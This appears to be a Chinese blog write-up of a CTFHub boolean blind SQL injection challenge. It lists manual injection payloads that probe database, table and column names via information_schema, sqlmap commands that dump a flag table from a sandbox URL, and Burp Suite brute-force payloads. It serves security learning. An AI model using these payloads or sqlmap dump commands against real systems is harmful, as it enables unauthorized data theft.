2025.1.15——四、布尔注入

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得到本题为布尔注入

方法一:手工盲注(不推荐)

[step 1:判断具体形式](#step 1:判断具体形式)

[step 2:查询字段数](#step 2:查询字段数)

[step 3:通过回显判断数据库名的长度和每个字符](#step 3:通过回显判断数据库名的长度和每个字符)

1.判断长度

2.判断每个字符

[step 4:判断有几个表以及各个表名的长度和每个字符](#step 4:判断有几个表以及各个表名的长度和每个字符)

1.判断表的数量

​编辑

​编辑

2.判断长度

3.判断字符

​编辑

[step 5:判断列数以及各个列的长度和字符](#step 5:判断列数以及各个列的长度和字符)

1.判断列数

2.判断长度

3.判断字符

方法二:sqlmap爆数据库、表名、列名

[step 1:爆数据库名](#step 1:爆数据库名)

​编辑​编辑

[step 2:爆表](#step 2:爆表)

[step 3:爆列](#step 3:爆列)

方法三:burpsuit抓包,爆数据库、表名、列名

[step 1:判断数据库名的长度以及符号](#step 1:判断数据库名的长度以及符号)

1.判断长度

2.判断字符

​编辑

[step 2:判断表的数量以及长度、字符](#step 2:判断表的数量以及长度、字符)

[step 3:判断列数以及长度、字符](#step 3:判断列数以及长度、字符)

[step 4:爆破数据](#step 4:爆破数据)

1.爆破长度

2.爆破具体数据

方法四:脚本爆数据库、表名、列名


一、基本操作:整理已知信息,得到本题为布尔注入

有三个方法,手工盲注必须了解,但是很麻烦,得一个个尝试对错,所以利用工具更方便,例如:sqlmap、bp爆信息、脚本循环遍历

方法一:手工盲注(不推荐)

step 1:判断具体形式

键入:1 #

键入:1 and 1=2 #

键入:1' #

所以可以得到本题也为整数型注入

step 2:查询字段数

键入:1 order by 3 #

键入:1 order by 2 #

寻常方法,如:1 and 1=2 union select database(),database() #没有用,毕竟只会回显1或0

step 3:通过回显判断数据库名的长度和每个字符

length(str)函数:用于获取字符串长度的函数

substr()函数:用于从字符串中提取子字符串

1.判断长度

sql 复制代码
1 and length(database())=1 #
sql 复制代码
1 and length(database())=4 #

所以数据库名长度为4

2.判断每个字符

sql 复制代码
1 and substr(database(),1,1)='a' #
sql 复制代码
1 and substr(database(),1,1)='s' #
sql 复制代码
1 and substr(database(),2,1)='q' #
sql 复制代码
1 and substr(database(),3,1)='l' #
sql 复制代码
1 and substr(database(),4,1)='i' #

得到数据库名为sqli(按照前几题的经验),如果是陌生的题,建议用sqlmap或者burpsuit爆破

step 4:判断有几个表以及各个表名的长度和每个字符

1.判断表的数量

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1 #

sql 复制代码
1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2 #

2.判断长度

第一个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1))=4 #

第二个表名长度

sql 复制代码
1 and length(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n' #

step 5:判断列数以及各个列的长度和字符

1.判断列数

sql 复制代码
1 and (select count(column_name) from information_schema.columns where table_name='flag')=1 #

2.判断长度

sql 复制代码
1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4 #

3.判断字符

sql 复制代码
1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),1,1)='i'

方法二:sqlmap爆数据库、表名、列名

step 1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 --current-db

得到数据库名为sqli

step 2:爆表

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

得到一共两个表,分别为flag和news

step 3:爆列

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

得到只有一列

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-66397dd0c3e81a43.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

得到flag

方法三:burpsuit抓包,爆数据库、表名、列名

这里要用到ASCII表

step 1:判断数据库名的长度以及符号

1.判断长度

在框内输入

sql 复制代码
1 and length(database())=1#

然后进行抓包、爆破

得到数据库名字符串的长度为4

2.判断字符

sql 复制代码
1 and ascii(substr(database(),1,1))=100#

第一个字符为s

后面字符修改为

sql 复制代码
1 and ascii(substr(database(),2,1))=100#

依次可以得到

第二个字符为q

第三个字符为l

第四个字符为i

所以数据库名为sqli

step 2:判断表的数量以及长度、字符

1.判断表数详见方法一

2.判断长度同样输入payload再抓包

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=x #

注:x为爆破点

3.判断字符同上

payload:1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

注:100则为爆破点

得到表名为news、flag

step 3:判断列数以及长度、字符

1.判断列数

payload:1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#

2.判断长度同样输入payload再抓包

payload:1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=x #

注:x为爆破点

3.判断字符

payload:1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = x #

注:x为爆破点;ordinal bu_position:按照列的顺序位置排序

step 4:爆破数据

1.爆破长度

payload:1 and (select length(flag) from sqli.flag limit 1) = 10 #

注:10为爆破点

2.爆破具体数据

payload:1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

注:99为爆破点

一个一个爆破太久了,所以还是sqlmap好用

方法四:脚本爆数据库、表名、列名

引用脚本:CTFhub的布尔盲注_ctfhub布尔盲注-CSDN博客

python还不会用,先放这

相关推荐
小糖学代码26 分钟前
MySQL:14.mysql connect
android·数据库·mysql·adb
wudl55661 小时前
Flink SQL 窗口函数详细
sql·flink·linq
爬山算法1 小时前
Redis(69)Redis分布式锁的优点和缺点是什么?
数据库·redis·分布式
RestCloud1 小时前
从数据库到价值:ETL 工具如何打通南大通用数据库与企业应用
数据库
惜月_treasure2 小时前
Text2SQL与工作流实现:让数据库查询变得轻松又高效
数据库·人工智能·python
-睡到自然醒~2 小时前
[go 面试] 并发与数据一致性:事务的保障
数据库·面试·golang
为乐ovo2 小时前
19.DCL-用户管理
数据库
QT 小鲜肉2 小时前
【数据结构与算法基础】05. 栈详解(C++ 实战)
开发语言·数据结构·c++·笔记·学习·算法·学习方法
一个天蝎座 白勺 程序猿2 小时前
金仓数据库KingbaseES实现MongoDB平滑迁移全攻略:从架构适配到性能调优的完整实践
数据库·mongodb·数据迁移·kingbasees·金仓数据库
武子康2 小时前
Java-153 深入浅出 MongoDB 全面的适用场景分析与选型指南 场景应用指南
java·开发语言·数据库·mongodb·性能优化·系统架构·nosql